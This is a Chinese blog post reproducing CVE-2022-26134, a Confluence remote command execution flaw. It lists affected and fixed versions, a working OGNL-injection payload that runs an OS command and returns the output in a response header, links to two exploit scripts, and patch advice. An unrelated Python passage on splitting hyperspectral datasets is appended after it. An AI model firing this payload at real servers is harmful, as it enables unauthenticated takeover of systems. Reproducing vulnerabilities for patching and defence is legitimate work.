CVE-2022-26134 Confluence远程命令执行漏洞复现

Confluence是一款企业知识管理和协同软件,近期被曝存在远程代码执行漏洞,影响多个版本。攻击者无需认证即可注入恶意ONGl表达式执行任意代码。受影响版本包括7.4.17之前的部分版本。安全版本已更新为7.4.17等。建议用户尽快升级至安全版本或参照官方建议进行修复,以避免潜在的安全风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Confluence介绍

Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。
Confluence Server and Data Center存在一个远程代码执行漏洞,未经身份验证的攻击者可以利用该漏洞向目标服务器注入恶意ONGL表达式,进而在目标服务器上执行任意代码。

受影响版本​

Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1

安全版本

Confluence Server and Data Center 7.4.17 
Confluence Server and Data Center 7.13.7 
Confluence Server and Data Center 7.14.3 
Confluence Server and Data Center 7.15.2 
Confluence Server and Data Center 7.16.4 
Confluence Server and Data Center 7.17.4 
Confluence Server and Data Center 7.18.1

测试poc

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("' command '").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

脚本地址

https://github.com/Nwqda/CVE-2022-26134/blob/master/cve-2022-26134.py

https://github.com/crowsec-edtech/CVE-2022-26134/blob/main/exploit.py

本地复现

在这里插入图片描述
使用脚本结果:
在这里插入图片描述

手动复现结果

在这里插入图片描述

wireshark流量展示

在这里插入图片描述
本来自己也写了一个脚本,但是发现其实没有人家写的好,这两个脚本对报错异常处理的不是很好,
\CVE-2022-26134-main\exploit.py", line 45, in
print(exploit(target, cmd))

KeyError: ‘x-cmd-response’

如果出现类似以上的错误,大家不要慌,说明这个版本是安全的,脚本是没问题的哈

修复建议

升级到Atlassian Confluence Server and Data Center至安全版本。

下载链接:

https://www.atlassian.com/software/confluence/download-archives

若是无法升级,可以参考官方建议,进行相对的修改

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

### 使用Python对近红外高光谱数据集进行划分 对于处理和分割近红外高光谱数据集的任务,可以采用多种方法来实现训练集、测试集以及验证集之间的合理分配。一种常见的方式是利用 `scikit-learn` 库中的函数来进行随机抽样划分[^1]。 ```python from sklearn.model_selection import train_test_split import numpy as np # 假设 X 是特征矩阵, y 是标签向量 X, y = np.random.rand(100, 224), np.random.randint(0, 2, size=(100,)) # 将数据划分为70% 训练集 和 30% 测试集 X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42) print(f'Training set shape {X_train.shape}') print(f'Testing set shape {X_test.shape}') ``` 当涉及到更复杂的场景时,比如时间序列或者空间上连续的数据样本,则可能需要考虑特定的应用背景下的特殊需求。例如,在某些情况下为了保持类别的分布一致性,还可以通过设置参数 stratify 来确保类别比例相同[^2]: ```python # 如果希望维持不同类别间的比例一致 X_train_stratified, X_test_stratified, y_train_stratified, y_test_stratified = \ train_test_split(X, y, test_size=0.3, random_state=42, stratify=y) ``` 如果面对的是具有地理坐标的高光谱图像,并且想要避免同一位置上的像素被分到不同的集合里去影响模型评估效果的话,那么就需要自定义更加精细的数据切分逻辑了。这通常涉及先按照地理位置聚类再做进一步操作[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值